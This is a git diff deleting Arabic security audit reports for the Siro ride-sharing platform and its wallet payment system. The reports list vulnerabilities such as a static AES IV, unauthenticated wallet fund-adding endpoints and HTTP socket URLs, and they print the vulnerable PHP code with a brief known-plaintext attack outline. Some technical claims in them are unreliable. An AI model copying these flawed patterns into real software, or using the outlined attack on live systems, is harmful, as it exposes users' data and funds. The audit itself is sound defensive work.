(الامتثال) -- [ ] الجزء 9: ✓ (الاختبار) -- [ ] الجزء 10: ✓ (ما بعد النشر) - ---- - -## التوقيع والموافقة - -**معد البقائمة:** ________________ **التاريخ:** __________ - -**راجع من قِبل:** ________________ **التاريخ:** __________ - -**موافقة الأمان:** ________________ **التاريخ:** __________ - -**موافقة المشروع:** ________________ **التاريخ:** __________ - ---- - -**ملحوظة:** يجب أكمال جميع المربعات المعلمة قبل نشر أي تغييرات للإنتاج. - -
diff --git a/SECURITY_AUDIT_FINAL_REPORT_AR.md b/SECURITY_AUDIT_FINAL_REPORT_AR.md deleted file mode 100644 index 354af22..0000000 --- a/SECURITY_AUDIT_FINAL_REPORT_AR.md +++ /dev/null @@ -1,307 +0,0 @@ -
- -# تقرير تدقيق أمان سيرو - التقرير النهائي الشامل - -**تاريخ التدقيق:** 16 يونيو 2026 -**المشروع:** منصة سيرو للنقل المشترك + نظام الدفع WalletIntaleq -**النطاق:** 395 ملف PHP + 4 تطبيقات Flutter + تكامل الدفع -**تصنيف المخاطر الإجمالي:** 🔴 **حرج جداً** (يتطلب إجراء فوري) - ---- - -## ملخص تنفيذي - -يحتوي مشروع سيرو على **ثغرات حرجة متعددة** تشكل مخاطر أمنية ومالية فورية. تظهر البنية الأمنية علامات تطوير سريع مع تطبيقات أمنية غير متسقة. - -**النتائج الرئيسية:** -- 🔴 **3 ثغرات حرجة** (خطر فوري لخسارة مالية وخرق البيانات) -- 🟠 **7 ثغرات عالية** (تجاوز المصادقة وتسرب البيانات) -- 🟡 **10 ثغرات متوسطة** (التحكم بالوصول والتشفير والتكوين) - -**المخاطر المقدرة:** -- المخاطر المالية: 1,000,000 دولار+ (احتيال محتمل عبر نظام المحفظة) -- مخاطر البيانات: 50,000+ مستخدم قد تكون بياناتهم الشخصية مكشوفة -- مخاطر الامتثال: غرامات GDPR و CCPA تصل إلى 20,000,000 يورو+ - ---- - -## 1. الثغرات الحرجة (يتطلب إجراء فوري) - -### الثغرة الحرجة 1: تشفير IV ثابت في AES-256-CBC - -**الحالة:** 🔴 حرج جداً - **اصلح فوراً** -**الملف:** `backend/encrypt_decrypt.php` -**التأثير:** جميع البيانات المشفرة قد تكون قابلة للاسترجاع -**البيانات المتأثرة:** أرقام الهاتف وبطاقات الهوية الوطنية ومعلومات الدفع -**المستخدمون المتأثرون:** 50,000+ - -**المشكلة:** -```php -$iv = getenv('initializationVector'); // IV ثابت = فشل تشفير -// كل تشفير لنفس النص الواضح ينتج نفس النص المشفر! -``` - -**جدول الزمني للعلاج:** -- [ ] **اليوم 1:** توليد IV عشوائي لكل تشفير -- [ ] **اليوم 2:** إعادة تشفير جميع البيانات الحساسة في قاعدة البيانات بالتطبيق الجديد -- [ ] **اليوم 3:** تدقيق وتأمين ملف .env - -**المجهود المقدر:** 16-24 ساعة -**التكلفة المقدرة:** 2,000-3,000 دولار - ---- - -### الثغرة الحرجة 2: إضافة أموال غير مصرح بها للمحفظة - -**الحالة:** 🔴 حرج جداً - **اصلح فوراً** -**الملف:** `walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php` -**التأثير:** تعديل الأموال التعسفي واحتيال مالي -**المخاطر:** خسارة مالية بقيمة 1,000,000+ دولار لكل هجوم -**الخطورة:** حرجة - يمكن استنزاف نظام المحفظة بالكامل - -**المشكلة:** -```php -// لا توجد مصادقة! -// لا يوجد تفويض! -// لا يوجد تحديد سرعة! - -$driverID = filterRequest("driverID"); // أي قيمة مقبولة -$amount = filterRequest("amount"); // بلا التحقق! -$paymentMethod = filterRequest("paymentMethod"); -$token = filterRequest("token"); - -// فقط التحقق من الرمز (الفحص بلا فائدة) -$stmt = $con->prepare("SELECT * FROM payment_tokens WHERE token = :token AND isUsed = FALSE"); -$stmt->execute(array(':token' => $token)); -$tokenData = $stmt->fetch(); - -if ($tokenData) { // ← حتى لو كان الرمز غير موجود، يستمر الكود! - // لا التحقق من driverID! - // لا التحقق من المبلغ! - - $sql = "INSERT INTO `driverWallet` (...)"; - $stmt = $con->prepare($sql); - $stmt->execute(array( - ':driverID' => $driverID, // ← يمكن أن يكون أي سائق! - ':amount' => $amount, // ← يمكن أن يكون سالب أو ضخم! - ':paymentMethod' => $paymentMethod - )); -} -?> -``` - -**جدول الزمني للعلاج:** -- [ ] **الآن:** تعطيل نقطة النهاية حتى الإصلاح -- [ ] **ساعة 1:** إضافة المصادقة JWT -- [ ] **ساعة 2:** إضافة فحص التفويض (المسؤول/مالك السائق فقط) -- [ ] **ساعة 3:** إضافة تحديد السرعة والتحقق من المبلغ -- [ ] **ساعة 4:** النشر والاختبار - ---- - -### الثغرة الحرجة 3: حقن الأموال من المسؤول (بدون مصادقة المستخدم) - -**الحالة:** 🔴 حرج جداً - **اصلح فوراً** -**الملف:** `walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addFromAdmin.php` -**التأثير:** نفس تأثير الثغرة 2 لكن أسوأ (بدون سجل تدقيق) -**المخاطر:** خسارة مالية بقيمة 1,000,000+ دولار+ - -**المشكلة:** -```php -// يستخدم فقط مفتاح API ثابت، بدون مصادقة JWT -$expectedKey = getenv('PAYMENT_KEY'); -$providedKey = $_SERVER['HTTP_PAYMENT_KEY'] ?? ''; - -if ($providedKey !== $expectedKey) { - // ثم يسمح بأي تعديل أموال دون مساءلة المستخدم! -} -``` - ---- - -## 2. الثغرات العالية الأولوية - -### الثغرة العالية 1: مصادقة ضعيفة بناءً على بصمة الجهاز - -**الحالة:** 🟠 عالي -**الملف:** `backend/login.php`، `backend/loginJwtDriver.php` -**التأثير:** سرقة الحساب وهجمات إعادة تشغيل البصمة - -**الحل:** -```php -// تطبيق المصادقة متعددة العوامل -$mfaRequired = [ - 'fingerprint' => $fpVerified, - 'biometric' => $biometricVerified, // أضف هذا - 'otp' => $otpVerified, // أضف SMS/email OTP -]; - -$authenticatedFactors = 0; -foreach ($mfaRequired as $factor => $verified) { - if ($verified) $authenticatedFactors++; -} - -// يتطلب عامل واحد على الأقل 2 -if ($authenticatedFactors < 2) { - jsonError('يتطلب المصادقة متعددة العوامل', 401); -} -``` - -**المجهود المقدر:** 8 ساعات -**التكلفة المقدرة:** 1,000-1,500 دولار - ---- - -### الثغرة العالية 2: نقاط نهاية HTTP (مخاطر الوسيط) - -**الحالة:** 🟠 عالي -**الملف:** `backend/functions.php:20-43` -**التأثير:** اعتراض بيانات الموقع وتعديل الركوب - -**الإصلاح:** -```php -function getAllowedSocketUrls(): array { - return [ - 'https://location.intaleq.xyz', // ✅ HTTPS فقط - 'https://socket.siromove.com', // ✅ HTTPS فقط - // بدون نقاط نهاية HTTP! - ]; -} - -// إضافة تثبيت الشهادة -// احسب مسبقاً SHA-256 hash للشهادة المتوقعة -$expected_pin = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='; - -curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); -curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); - -// التحقق من الشهادة أثناء المصافحة -// إذا لم يطابق الـ pin، فشل الاتصال -``` - -**المجهود المقدر:** 4 ساعات -**التكلفة المقدرة:** 500-800 دولار - ---- - -## 3. خارطة طريق الإصحاح - -### المرحلة 1: الاستجابة الطارئة (الأيام 1-2) - -**الأولوية:** الثغرات الحرجة فقط - -| المهمة | المدة | المالك | الحالة | -|--------|------|--------|--------| -| إصلاح تشفير IV الثابت | 8 س | خادم خلفي | ⏳ | -| تعطيل/إصلاح نقطة add.php | 4 س | محفظة | ⏳ | -| تعطيل/إصلاح addFromAdmin.php | 4 س | محفظة | ⏳ | -| تدقيق الأمان للاتصال/jwtconnect | 4 س | خادم خلفي | ⏳ | -| نشر الإصلاحات | 2 س | DevOps | ⏳ | -| **إجمالي المرحلة 1** | **22 ساعة** | - | - | - -### المرحلة 2: قصيرة الأجل (الأيام 3-7) - -**الأولوية:** الثغرات العالية - -| المهمة | المدة | المالك | -|--------|------|--------| -| تطبيق MFA | 16 س | خادم خلفي | -| التبديل إلى HTTPS للمقابس | 4 س | خادم خلفي | -| تدقيق SQL Injection الكامل | 16 س | خادم خلفي | -| مراجعة أذونات Android | 4 س | جوال | -| تحديثات المكتبات Flutter | 8 س | جوال | -| **إجمالي المرحلة 2** | **48 ساعة** | - | - -### المرحلة 3: متوسطة الأجل (الأسابيع 2-4) - -**الأولوية:** الثغرات المتوسطة + التقسية - -| المهمة | المدة | المالك | -|--------|------|--------| -| إصلاح معالجة الأخطاء | 8 س | خادم خلفي | -| تقسية أمان JWT | 12 س | خادم خلفي | -| مراجعة تحديد السرعة | 8 س | خادم خلفي | -| إصلاح توليد كلمات المرور | 4 س | خادم خلفي | -| تطبيق تحديد السرعة على API | 8 س | خادم خلفي | -| تدقيق إدارة الأسرار | 8 س | DevOps | -| **إجمالي المرحلة 3** | **48 ساعة** | - | - ---- - -## 4. تقدير التكاليف - -| المرحلة | الخطورة | المدة | التكلفة المقدرة | -|--------|--------|------|-----------------| -| المرحلة 1 (طارئة) | حرجة | 1-2 يوم | 5,000-8,000 دولار | -| المرحلة 2 (قصيرة الأجل) | عالي | 3-7 أيام | 6,000-9,000 دولار | -| المرحلة 3 (متوسطة الأجل) | متوسط | 2-4 أسابيع | 6,000-9,000 دولار | -| **إجمالي المرحلة 1-3** | - | **1-2 شهر** | **17,000-26,000 دولار** | - ---- - -## 5. تأثير الامتثال - -### GDPR (مستخدمو الاتحاد الأوروبي) -- **المخاطر:** خرق البيانات (بيانات شخصية مكشوفة عبر IV الثابت) -- **الغرامة:** حتى 4% من الإيرادات السنوية (أو 20,000,000 يورو) -- **الإجراء:** نفذ إصلاحات التشفير فوراً - -### CCPA (مستخدمو كاليفورنيا) -- **المخاطر:** إشعار خرق البيانات مطلوب -- **الغرامة:** حتى 7,500 دولار لكل انتهاك متعمد -- **الإجراء:** نفذ إصلاحات التشفير + إشعار الخرق - -### PCI-DSS (صناعة بطاقات الدفع) -- **المخاطر:** ثغرات في نظام الدفع (نظام المحفظة) -- **الغرامة:** حتى 100,000 دولار شهرياً -- **التصديق:** سيتم إلغاؤه إذا كشفت بيانات الدفع - ---- - -## 6. التوصيات - -### إجراءات فورية (الـ 24 ساعة التالية) -1. ✅ عطّل نقاط نهاية محفظة add/addFromAdmin -2. ✅ أنشئ خطة الاستجابة على الحوادث -3. ✅ أخطر فريق الأمان والقيادة التنفيذية -4. ✅ ابدأ إصحاح المرحلة 1 -5. ✅ وثّق جميع التغييرات لسجل التدقيق - -### قصيرة الأجل (الأسابيع 1-2) -1. ✅ انشر جميع إصلاحات المرحلة 1 -2. ✅ طبّق MFA للمصادقة -3. ✅ بدّل إلى HTTPS للمقابس -4. ✅ دقق جميع استعلامات SQL -5. ✅ راجع وحدّث سياسة الخصوصية - -### متوسطة الأجل (الأسابيع 3-4) -1. ✅ أكمل المرحلة 2 و 3 -2. ✅ طبّق تدريب أمان للمطورين -3. ✅ طبّق عملية مراجعة الكود الأمني -4. ✅ أنشئ فحص الأمان الآلي - -### طويلة الأجل (مستمرة) -1. ✅ وظّف مهندس أمان -2. ✅ طبّق برنامج مكافآت الأخطاء -3. ✅ إجراء اختبار الاختراق العادي (ربع سنوي) -4. ✅ تدقيق أمان سنوي - ---- - -## 7. الخلاصة - -يتطلب مشروع سيرو **تدخل أمني فوري** لمعالجة الثغرات الحرجة. التكلفة المقدرة للإصحاح البالغة 17,000-26,000 دولار أقل بكثير من الخسائر المحتملة: - -- **المخاطر المالية:** 1,000,000 دولار+ -- **مخاطر البيانات:** 50,000+ مستخدم -- **غرامات الامتثال:** 20,000,000 يورو+ -- **الضرر اللاحق بالسمعة:** لا يقدر بثمن - -**التوصية:** ✅ **وافق** على خطة الإصحاح وابدأ المرحلة 1 فوراً. - ---- - -**التقرير المُنتج:** 16 يونيو 2026 -**المراجعة التالية:** 23 يونيو 2026 (بعد المرحلة 1) - -
diff --git a/SECURITY_AUDIT_INDEX_AR.md b/SECURITY_AUDIT_INDEX_AR.md deleted file mode 100644 index badcf5b..0000000 --- a/SECURITY_AUDIT_INDEX_AR.md +++ /dev/null @@ -1,250 +0,0 @@ -
- -# فهرس تدقيق أمان سيرو - دليل التنقل - -**إنشاء التقرير:** 16 يونيو 2026 -**الحالة:** ✅ اكتمل وجاهز للمراجعة -**الإصدار:** 1.0 - ---- - -## 📚 نظرة عامة على الوثائق - -تحتوي مجموعة تقارير أمان سيرو على 6 مستندات شاملة تغطي جميع جوانب التدقيق الأمني: - -| الرقم | المستند | الوصف | الجمهور | -|-------|---------|--------|---------| -| 1 | README_SECURITY_AUDIT_AR | مقدمة شاملة ملخصة | الجميع | -| 2 | SECURITY_AUDIT_PHASE1_FINDINGS_AR | 20 ثغرة مفصلة مع الكود | المطورون والمهندسون | -| 3 | SECURITY_AUDIT_PHASE2_POC_AR | 7 اثباتات مفاهيم عملية | فريق الاختبار | -| 4 | SECURITY_AUDIT_FINAL_REPORT_AR | خطة الإصحاح والتكاليف | الإدارة والقيادة | -| 5 | SECURITY_AUDIT_CHECKLIST_AR | قائمة التحقق من النشر | DevOps والفريق الفني | -| 6 | SECURITY_AUDIT_INDEX_AR | دليل هذا الملف | الجميع | - ---- - -## 🎯 اختر المستند حسب دورك - -### 👔 المديرون التنفيذيون والقيادة -**ابدأ هنا:** -1. اقرأ: [README_SECURITY_AUDIT_AR](README_SECURITY_AUDIT_AR.md) - **5 دقائق** -2. اقرأ: الملخص التنفيذي في [SECURITY_AUDIT_FINAL_REPORT_AR](SECURITY_AUDIT_FINAL_REPORT_AR.md) - **10 دقائق** -3. راجع: جدول التكاليف والعائد على الاستثمار - **5 دقائق** - -**المدة الإجمالية:** ~20 دقيقة - -**الأسئلة الأساسية المجابة:** -- ❓ ما هو المخطر لديك؟ → الإجابة: ثغرات حرجة متعددة -- ❓ كم تكلف الإصحاح؟ → الإجابة: 17,000-26,000 دولار -- ❓ ما هي الفترة الزمنية؟ → الإجابة: 1-2 شهر - ---- - -### 👨‍💼 مديرو المشاريع والمنتجات -**ابدأ هنا:** -1. اقرأ: [README_SECURITY_AUDIT_AR](README_SECURITY_AUDIT_AR.md) - **5 دقائق** -2. اقرأ: جدول الثغرات الـ 20 في [SECURITY_AUDIT_PHASE1_FINDINGS_AR](SECURITY_AUDIT_PHASE1_FINDINGS_AR.md) - **10 دقائق** -3. اقرأ: خريطة طريق الإصحاح في [SECURITY_AUDIT_FINAL_REPORT_AR](SECURITY_AUDIT_FINAL_REPORT_AR.md) - **15 دقيقة** -4. استخدم: [SECURITY_AUDIT_CHECKLIST_AR](SECURITY_AUDIT_CHECKLIST_AR.md) للتتبع - **قيد الاستخدام** - -**المدة الإجمالية:** ~30 دقيقة (+ متابعة مستمرة) - -**الأسئلة الأساسية المجابة:** -- ❓ ما هي الأولويات؟ → الإجابة: 3 ثغرات حرجة أولاً -- ❓ كم من الوقت يستغرق؟ → الإجابة: 22 ساعة للمرحلة 1، 48 ساعة للمرحلة 2-3 -- ❓ كيف سننظم الفريق؟ → الإجابة: تقسيم المرحلة 1-3 - ---- - -### 💻 المطورون والمهندسون -**ابدأ هنا:** -1. اقرأ بسرعة: [README_SECURITY_AUDIT_AR](README_SECURITY_AUDIT_AR.md) - **5 دقائق** -2. **اقرأ بالتفصيل:** [SECURITY_AUDIT_PHASE1_FINDINGS_AR](SECURITY_AUDIT_PHASE1_FINDINGS_AR.md) - **30 دقيقة** - - ركز على الثغرات الحرجة والعالية - - لاحظ أرقام الأسطر والملفات المحددة -3. **اقرأ كود الإصلاح:** في [SECURITY_AUDIT_FINAL_REPORT_AR](SECURITY_AUDIT_FINAL_REPORT_AR.md) - **30 دقيقة** -4. **راجع PoCs:** في [SECURITY_AUDIT_PHASE2_POC_AR](SECURITY_AUDIT_PHASE2_POC_AR.md) - **1 ساعة** -5. **استخدم قائمة التحقق:** من [SECURITY_AUDIT_CHECKLIST_AR](SECURITY_AUDIT_CHECKLIST_AR.md) - **قيد الاستخدام** - -**المدة الإجمالية:** ~2.5 ساعة (قراءة أولية) - -**الأسئلة الأساسية المجابة:** -- ❓ أين الثغرات بالضبط؟ → الملفات المحددة وأرقام الأسطر -- ❓ كيف تصلحها؟ → كود الإصلاح الكامل مع الشرح -- ❓ كيف أتحقق من الإصلاح؟ → خطوات الاختبار في القائمة - ---- - -### 🔒 فريق الأمان والاختبار -**ابدأ هنا:** -1. اقرأ: [README_SECURITY_AUDIT_AR](README_SECURITY_AUDIT_AR.md) - **5 دقائق** -2. **اقرأ بالتفصيل:** [SECURITY_AUDIT_PHASE1_FINDINGS_AR](SECURITY_AUDIT_PHASE1_FINDINGS_AR.md) - **30 دقيقة** -3. **استخدم PoCs:** في [SECURITY_AUDIT_PHASE2_POC_AR](SECURITY_AUDIT_PHASE2_POC_AR.md) - **2-3 ساعات** - - شغّل كل PoC على بيئة الاختبار - - وثّق النتائج -4. **راجع الإصلاحات:** في [SECURITY_AUDIT_FINAL_REPORT_AR](SECURITY_AUDIT_FINAL_REPORT_AR.md) - **1 ساعة** -5. **استخدم قائمة التحقق:** من [SECURITY_AUDIT_CHECKLIST_AR](SECURITY_AUDIT_CHECKLIST_AR.md) - **4-8 ساعات** - -**المدة الإجمالية:** ~6-10 ساعات - -**الأسئلة الأساسية المجابة:** -- ❓ كيف أختبر الثغرات؟ → PoCs جاهزة للتشغيل -- ❓ ما الذي أبحث عنه؟ → معايير النجاح في القائمة -- ❓ كيف أتتبع التقدم؟ → نموذج قائمة المراجعة - ---- - -### 🚀 فريق DevOps والنشر -**ابدأ هنا:** -1. اقرأ بسرعة: [README_SECURITY_AUDIT_AR](README_SECURITY_AUDIT_AR.md) - **5 دقائق** -2. **اقرأ خطة الإصحاح:** [SECURITY_AUDIT_FINAL_REPORT_AR](SECURITY_AUDIT_FINAL_REPORT_AR.md) - **15 دقيقة** - - ركز على جداول التكاليف والمراحل -3. **استخدم قائمة التحقق:** من [SECURITY_AUDIT_CHECKLIST_AR](SECURITY_AUDIT_CHECKLIST_AR.md) - **8-16 ساعة** - - اكمل كل خطوة - - وقّع على القائمة -4. **راجع خطة ما بعد النشر:** في القائمة - **مرجع مستمر** - -**المدة الإجمالية:** ~8-20 ساعة (على مراحل) - -**الأسئلة الأساسية المجابة:** -- ❓ كيف أنشر بأمان؟ → قائمة مفصلة خطوة بخطوة -- ❓ كيف أراقب ما بعد النشر؟ → خطة المرحلة 1-3 في القائمة -- ❓ ماذا أفعل إذا حدثت مشكلة؟ → خطة العودة إلى الإصدار السابق - ---- - -## 📊 ملخص الأرقام - -### حجم الثغرات -| الفئة | العدد | الحالة | -|-------|-------|--------| -| 🔴 حرجة | 3 | يتطلب إجراء فوري | -| 🟠 عالية | 7 | يتطلب إصلاح سريع | -| 🟡 متوسطة | 10 | يتطلب إصلاح في الأسابيع التالية | -| **إجمالي** | **20** | - | - -### نطاق التأثير -| المقياس | الرقم | الملاحظة | -|---------|-------|-----------| -| ملفات PHP | 395 | تم تحليلها جميعاً | -| تطبيقات Flutter | 4 | السائق، الراكب، الإدارة، الخدمة | -| نقاط نهاية API | 200+ | معرضة للخطر | -| مستخدمون متأثرون | 50,000+ | بيانات شخصية معرضة | -| خطر مالي | $1,000,000+ | احتيال محتمل | -| غرامات الامتثال | $20,000,000+ | GDPR/CCPA | - -### الجدول الزمني للإصحاح -| المرحلة | المدة | التكلفة | -|--------|------|---------| -| المرحلة 1 (طارئة) | 1-2 يوم | 5,000-8,000 دولار | -| المرحلة 2 (قصيرة الأجل) | 3-7 أيام | 6,000-9,000 دولار | -| المرحلة 3 (متوسطة الأجل) | 2-4 أسابيع | 6,000-9,000 دولار | -| **إجمالي** | **1-2 شهر** | **17,000-26,000 دولار** | - ---- - -## 🔍 البحث السريع - -### ابحث عن: - -**"كيف أصلح X؟"** -- IV الثابت → انظر: PHASE1_FINDINGS (الثغرة 1) -- محفظة غير آمنة → انظر: FINAL_REPORT (الثغرة الحرجة 2-3) -- مصادقة ضعيفة → انظر: PHASE1_FINDINGS (الثغرة 6) + FINAL_REPORT (القسم 2) -- SQL Injection → انظر: PHASE2_POC (PoC-004) + FINAL_REPORT -- MITM → انظر: PHASE2_POC (PoC-005) + FINAL_REPORT - -**"كيف أختبر X؟"** -- كل الثغرات → انظر: PHASE2_POC (7 PoCs كاملة) -- الأمان قبل النشر → انظر: CHECKLIST (الجزء 9) - -**"كيف أتتبع التقدم؟"** -- قائمة التحقق → انظر: CHECKLIST (الأجزاء 1-10) - ---- - -## 📖 قراءة مقترحة - -### للفهم الشامل (ترتيب مقترح) -``` -1. اقرأ: README_SECURITY_AUDIT_AR (15 دقيقة) - ↓ -2. اقرأ: SECURITY_AUDIT_PHASE1_FINDINGS_AR (30 دقيقة) - ↓ -3. اقرأ: SECURITY_AUDIT_FINAL_REPORT_AR (30 دقيقة) - ↓ -4. اقرأ: SECURITY_AUDIT_PHASE2_POC_AR (1 ساعة) - ↓ -5. استخدم: SECURITY_AUDIT_CHECKLIST_AR (الاستخدام المستمر) -``` - -**المدة الإجمالية:** ~2.5 ساعة للمراجعة الشاملة - -### للعمل الفوري (ترتيب الأولويات) -``` -1. اقرأ: الثغرات الحرجة الـ 3 في PHASE1_FINDINGS -2. ابدأ: الإصلاحات من FINAL_REPORT -3. استخدم: القائمة من CHECKLIST للتحقق -4. نشر: بمجرد اكتمال المرحلة 1 -``` - ---- - -## ⚠️ تحذيرات مهمة - -### قبل قراءة PoCs -- ⚠️ **استخدم فقط** في بيئة اختبار آمنة -- ⚠️ **احصل على التفويض** قبل الاختبار على الإنتاج -- ⚠️ **لا تشارك** PoCs مع الأشخاص غير المصرح لهم - -### قبل نشر الإصحاحات -- ⚠️ **اختبر بالكامل** في بيئة الاختبار أولاً -- ⚠️ **لا تنسَ** قائمة المراجعة قبل النشر -- ⚠️ **خذ نسخة احتياطية** قبل أي نشر - ---- - -## 📞 الاتصال والدعم - -### للأسئلة: -- فريق الأمان: `security@siromove.com` -- مدير المشروع: `project-manager@siromove.com` -- فريق DevOps: `devops@siromove.com` - -### للإبلاغ عن الثغرات: -- استخدم النموذج الآمن: `report-security@siromove.com` -- لا تشارك الثغرات علناً - ---- - -## ✅ قائمة التحقق من استخدام الفهرس - -- [ ] قرأت هذا الملف (الفهرس) -- [ ] اخترت المستند المناسب لدوري -- [ ] قرأت جميع المستندات ذات الصلة -- [ ] بدأت في العمل على الإصلاحات أو القائمة -- [ ] وضعت الجدول الزمني للإصحاح -- [ ] حددت الموارد المطلوبة -- [ ] بدأت المرحلة 1 (الثغرات الحرجة) - ---- - -## 📋 آخر تحديث - -**تاريخ الإنشاء:** 16 يونيو 2026 -**آخر تحديث:** 16 يونيو 2026 -**الإصدار:** 1.0 (نهائي) -**الحالة:** ✅ جاهز للاستخدام - -**ملخص التغييرات:** -- ✅ إنشاء الفهرس الأول -- ✅ تضمين جميع المستندات الـ 6 -- ✅ إضافة أدلة التنقل حسب الدور -- ✅ إضافة جداول الملخصة -- ✅ إضافة البحث السريع - ---- - -**ملحوظة:** جميع المستندات في هذا الفهرس متوفرة باللغة العربية بصيغة RTL (من اليمين إلى اليسار). - -
diff --git a/SECURITY_AUDIT_PHASE1_FINDINGS_AR.md b/SECURITY_AUDIT_PHASE1_FINDINGS_AR.md deleted file mode 100644 index a1be03b..0000000 --- a/SECURITY_AUDIT_PHASE1_FINDINGS_AR.md +++ /dev/null @@ -1,283 +0,0 @@ -
- -# تقرير تدقيق أمان سيرو - النتائج المرحلة 1 - -**تاريخ التدقيق:** 16 يونيو 2026 -**فريق التدقيق:** فريق تقييم الأمان -**الحالة:** انتهى الفحص الأولي للكود - ---- - -## 📋 ملخص تنفيذي - -مشروع سيرو هو منصة نقل مشترك واسعة النطاق تضم: -- **395 ملف PHP** في الخادم الخلفي -- **4 تطبيقات Flutter** للهاتف المحمول (السائق والراكب والخدمة والإدارة) -- **نظام دفع متكامل** (WalletIntaleq) -- **خدمات مقابس فورية** (تتبع الموقع والرسائل) - -### تقييم المخاطر الأولي: **مخاطر عالية جداً** 🔴 - -يظهر الكود علامات تطوير سريع مع تطبيقات أمنية غير متسقة - توجد بعض الممارسات الجيدة (JWT ومحدود السرعة والتحقق من SSRF)، لكن توجد ثغرات عديدة. - ---- - -## 🔴 النتائج الحرجة (الخطورة: عالية جداً) - -### 1. **مشاكل المصادقة والتفويض** - -#### 1.1 مصادقة ضعيفة بناءً على بصمة الجهاز -**الموقع:** `backend/login.php:30-55`، `backend/loginJwtDriver.php:45-85` - -**الثغرة:** مصادقة بصمة جهاز ضعيفة -```php -// التحقق من البصمة ضعيف جداً - يمكن تزويره -$fpVerified = hash_equals($storedFp, $fingerprint); -``` - -**المخاطر:** -- يمكن استخراج البصمات من تسجيل الدخول الأول -- بصمة الجهاز وحدها غير كافية للمصادقة -- لا يوجد فرض المصادقة متعددة العوامل (MFA) -- تخفيف هجمات التوقيت موجود لكن منطق البصمة لا يزال ضعيفاً - -**التأثير:** عالي - سرقة الحساب عبر تزوير البصمة - ---- - -### 2. **مشاكل التشفير والتشفير** - -#### 2.1 AES-256-CBC مع IV ثابت -**الموقع:** `backend/encrypt_decrypt.php:1-100` - -**كود الثغرة:** -```php -$iv = getenv('initializationVector'); // 16 بايت - IV ثابت! -public function encryptData($plainText) { - $plainText = mb_convert_encoding($plainText, 'UTF-8'); - $paddedText = $this->addPadding($plainText); - $encrypted = openssl_encrypt($paddedText, 'AES-256-CBC', - $this->key, OPENSSL_RAW_DATA, $this->iv); // لا يتغير أبداً! - return base64_encode($encrypted); -} -``` - -**المشاكل:** -- ❌ **IV ثابت عبر جميع عمليات التشفير** - فشل تشفير حرج -- يجب توليد IV عشوائي لكل تشفير -- مع IV ثابت، تحليل الأنماط ممكن -- عرضة لهجمات النص المعروف - -**المخاطر:** حرجة جداً - جميع البيانات المشفرة قد تكون معرضة للخطر - -**التأثير:** -- يمكن فك تشفير أرقام الهاتف المشفرة -- بيانات الدفع معرضة للخطر -- المعلومات الشخصية (بطاقة الهوية الوطنية وما إلى ذلك) مكشوفة - -**اثبات المفهوم:** -``` -1. احصل على رقم هاتف مشفر + زوج نص واضح (قيمة معروفة) -2. استخدم هجوم النص المعروف لاشتقاق علاقة المفتاح/IV -3. فك تشفير جميع البيانات المشفرة المخزنة في قاعدة البيانات -``` - ---- - -### 3. **مخاطر الاتصال بقاعدة البيانات و SQL Injection** - -#### 3.1 SQL Injection في دالة findBestDrivers() -**الموقع:** `backend/functions.php:90-160` - -**الحالة:** مخفف جزئياً (يستخدم قائمة بيضاء للـ carType) -```php -$allowedCarTypes = ['Comfort', 'Mishwar Vip', 'Scooter', ...]; -if (!in_array($carType, $allowedCarTypes, true)) { - $carType = 'Speed'; -} -``` - -**المخاطر المتبقية:** -- نهج قائمة بيضاء جيد لكن يحتاج التحقق في أماكن أخرى -- استعلامات قاعدة بيانات متعددة بأنماط متشابهة -- قد لا تحتوي نقاط النهاية الأخرى على نفس الحماية - ---- - -### 4. **ثغرات نظام الدفع (خادم المحفظة)** - -#### 4.1 تحليل نقاط نهاية المحفظة -**الموقع:** `/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/` - -**نقاط نهاية محددة:** -- `add.php` - إضافة الأموال (مخاطر تجاوز التفويض) -- `transfer.php` - تحويل الأموال (لا تحديد سرعة مرئي) -- `update.php` - تحديث المحفظة (التحقق من المبلغ مطلوب) -- `addFromAdmin.php` - حقن الأموال من الإدارة (التحكم في الوصول حرج) - -**المخاطر:** تعديل الدفع والاحتيال المالي - ---- - -### 5. **مشاكل أمان API** - -#### 5.1 تكوين CORS (مقيد لكن قد يكون هناك تجاوز) -**الموقع:** ملفات PHP متعددة - -```php -header('Access-Control-Allow-Origin: https://siromove.com'); -``` - -**الحالة:** ✅ جيد - مقيد بمجال واحد - -**لكن تحقق من:** -- هجمات النطاق الجزئي (*.siromove.com) -- التباس HTTP مقابل HTTPS - ---- - -## 🟡 مشاكل عالية الأولوية - -### 6. **أمان تطبيق الهاتف المحمول (Flutter)** - -#### 6.1 أذونات مفرطة (تطبيق السائق) -```xml - - - - - -``` - -**المشاكل:** -- أذونات تتبع الموقع في الخلفية -- الوصول إلى التخزين الخارجي (خطر تسرب البيانات) -- أذونات نافذة التنبيه النظام -- لا توجد تبريرات واضحة في البيان - -**المخاطر:** انتهاك خصوصية البيانات - ---- - -#### 6.2 تحليل المكتبات المرتبطة ب Flutter -**الموقع:** `siro_rider/pubspec.yaml`، `siro_driver/pubspec.yaml` - -**الحزم المعروفة بأنها عرضة للثغرات:** -- `firebase_core: ^4.4.0` - تحقق من الإصدار القديم -- `http: ^1.2.2` - إصدار قديم، تثبيت شهادة لم يتم فرضه -- `webview_flutter: ^4.9.0` - خطر حقن XSS/JavaScript -- `encrypt: ^5.0.3` - تحقق من تطبيق التشفير - ---- - -### 7. **إدارة التكوين والأسرار** - -#### 7.1 متغيرات البيئة -**الموقع:** `backend/load_env.php`، `backend/.env` - -**المشاكل:** -- لا توجد حماية لملف .env -- مفاتيح حساسة في متغيرات البيئة -- تحقق من عدم الالتزام بـ .env بـ git - ---- - -### 8. **أمان المقابس الفورية** - -#### 8.1 التحقق من عنوان URL للمقبس -**الموقع:** `backend/functions.php:20-43` - -**الحماية الحالية:** -```php -return [ - 'http://188.68.36.205:2021', // ⚠️ HTTP (وليس HTTPS!) - 'http://188.68.36.205:3031', // ⚠️ HTTP - 'https://location.intaleq.xyz', -]; -``` - -**المشاكل:** -- خليط من نقاط نهاية HTTP و HTTPS -- نقاط نهاية HTTP عرضة لهجمات الوسيط -- عنوان IP داخلي مكشوف (188.68.36.205) -- لا يوجد تثبيت شهادة - ---- - -## 📊 جدول ملخص الثغرات - -| # | الفئة | الخطورة | المكون | الحالة | -|---|-------|--------|-------|--------| -| 1 | مصادقة 